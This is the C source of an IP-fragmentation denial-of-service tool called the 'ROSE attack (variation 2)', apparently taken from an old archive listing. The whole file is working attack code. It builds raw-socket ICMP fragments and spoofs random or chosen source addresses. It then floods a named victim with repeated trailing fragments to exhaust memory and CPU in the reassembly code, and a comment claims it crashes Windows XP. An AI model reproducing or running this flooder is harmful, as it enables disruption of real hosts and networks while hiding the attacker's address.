home *** CD-ROM | disk | FTP | other *** search
- /***
- ROSE attack (variation 2) (chuck (at) lemure.net)
-
- Discovered by:
- gandalf (at) digital.net
-
- code modified from large IGMP attack by:
- Kox by Coolio (coolio (at) k-r4d.com)
-
- Sends out small IP fragments totalling up to a large
- ICMP packet. Then repeatedly sends last IP Fragment forcing
- reassembly code to traverse to last IP fragment in order to
- do a free() followed by a malloc(). Or so it seems.
-
- Reportedly works for TCP / UDP as well, since this is
- a IP layer attack.
-
-
- ***/
-
- /* just a thousand kills win XP */
-
- #define NUM_PACKETS 100
-
-
- #include <stdio.h>
- #include <unistd.h>
- #include <stdlib.h>
- #include <netdb.h>
- #include <string.h>
- #include <errno.h>
- #include <pwd.h>
- #include <time.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/utsname.h>
- #include <netinet/in.h>
- #include <netinet/ip.h>
- #include <netinet/ip_icmp.h>
-
- #include <netinet/ip_icmp.h>
-
- void usage(char *arg)
- {
- printf("Rose attack\n");
- printf("Usage: %s <victim> [source]\n", arg);
- printf("If source not specified, will send out from random ip's\n");
- exit(1);
- }
-
-
- unsigned int randip()
- {
- struct hostent *he;
- struct sockaddr_in sin;
- char *buf = (char *)calloc(1, sizeof(char) * 16);
-
- sprintf(buf, "%d.%d.%d.%d",
- (random()%191)+23,
- (random()%253)+1,
- (random()%253)+1,
- (random()%253)+1);
-
- return inet_addr(buf);
-
- }
-
- unsigned short in_cksum(unsigned short *buh, int len)
- {
- register long sum = 0;
- unsigned short oddbyte;
- register unsigned short answer;
-
- while(len > 1) {
- sum += *buh++;
- len -= 2;
- }
-
- if(len == 1) {
- oddbyte = 0;
- *((unsigned char *)&oddbyte) = *(unsigned char *)buh;
- sum += oddbyte;
- }
-
- sum = (sum >> 16) + (sum & 0xFFFF);
- sum += (sum >> 16);
- answer = ~sum;
- return answer;
- }
-
- int fire_away(struct sockaddr_in *victim, unsigned long src)
- {
- int SMALLICMP = 1;
- unsigned char *pkt;
- struct iphdr *ip;
- struct igmphdr *igmp;
- struct icmphdr *icmp_pkt;
- struct utsname *un;
- struct passwd *p;
- int idList[NUM_PACKETS];
- unsigned long j;
- int i, s;
- int id = (random() % 40000) + 500;
- for (i=0;i<NUM_PACKETS;i++)
- idList[i]=(random() % 40000) + 500;
-
-
-
- pkt = (unsigned char *)calloc(1, SMALLICMP
- + sizeof(struct iphdr) +
- sizeof(struct icmphdr));
- ip = (struct iphdr *)pkt;
- icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr));
- ip->version = 4;
- ip->ihl = (sizeof *ip) / 4;
- ip->ttl = 255;
- ip->tot_len = htons(SMALLICMP);
- ip->protocol = 1;
- ip->id = htons(id);
- ip->frag_off = htons(IP_MF);
- ip->saddr = src;
- ip->daddr = victim->sin_addr.s_addr;
- ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
-
-
- icmp_pkt->type = ICMP_ECHO;
- icmp_pkt->code = 0;
- icmp_pkt->checksum = 1000;
- icmp_pkt->un.echo.id = random() % 255;
- icmp_pkt->un.echo.sequence = random() % 255;
-
- for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1;
- i < SMALLICMP; i++){
- pkt[i] = random() % 255;
-
- }
-
- if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
- perror("error: socket()");
- return 1;
- }
-
- printf(" Sending out series of small fragments\r\n");
-
- for(i=0;i<NUM_PACKETS;i++){
- ip->id = htons(idList[i]);
- for (j=0; j<8170; j += SMALLICMP + 1){
- ip->frag_off = htons(j | IP_MF);
- if(sendto(s, pkt,
- SMALLICMP + sizeof(struct iphdr),
- 0, (struct sockaddr *)victim,
- sizeof(struct sockaddr_in)) == -1) {
- perror("error: sendto()");
- return 1;
- }
- }
- }
-
- printf(" Sending out tailing fragments\r\n");
- /* big frag at end... */
- /* sending a large amount of the end fragments over and
- over. This is definitely overkill, but seems to work */
- for (j=0;j<9999*NUM_PACKETS;j++){
- for(i=0;i<NUM_PACKETS;i++){
- ip->id=htons(idList[i]);
- ip->frag_off = htons(8190|IP_MF);
- //ip->frag_off = htons(8100 | IP_MF);
- sendto(s, pkt, sizeof(struct iphdr) + SMALLICMP,
- 0, (struct sockaddr *)victim,
- sizeof(struct sockaddr_in));
- /* if you do sleep, CPU usage goes way down. But memory usage
- still creeps upward */
- //usleep(100); //sleep after every trailing packet
- }
- usleep(100); //sleep after every series of NUM_PACKETS
- }
- free(pkt);
- close(s);
- return 0;
- }
-
- int main(int argc, char *argv[])
- {
- struct sockaddr_in victim;
- struct hostent *he;
- unsigned long source;
- int i;
-
- srandom(time(NULL));
-
- if(argc < 2)
- usage(argv[0]);
-
- if((he = gethostbyname(argv[1])) == NULL) {
- herror(argv[1]);
- exit(1);
- }
-
- if (argc > 2){
- source = inet_addr(argv[2]);
- }
- else {
- source = randip();
- }
-
- memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
- victim.sin_port = htons(0);
- victim.sin_family = PF_INET;
-
- printf("Sending ICMP fragments: \r\n");
- fflush(stdout);
- fire_away(&victim, source);
- if (argc < 3){
- source = randip();
- }
-
- fflush(stdout);
- printf("\nDONE\n");
- fflush(stdout);
- }
-
-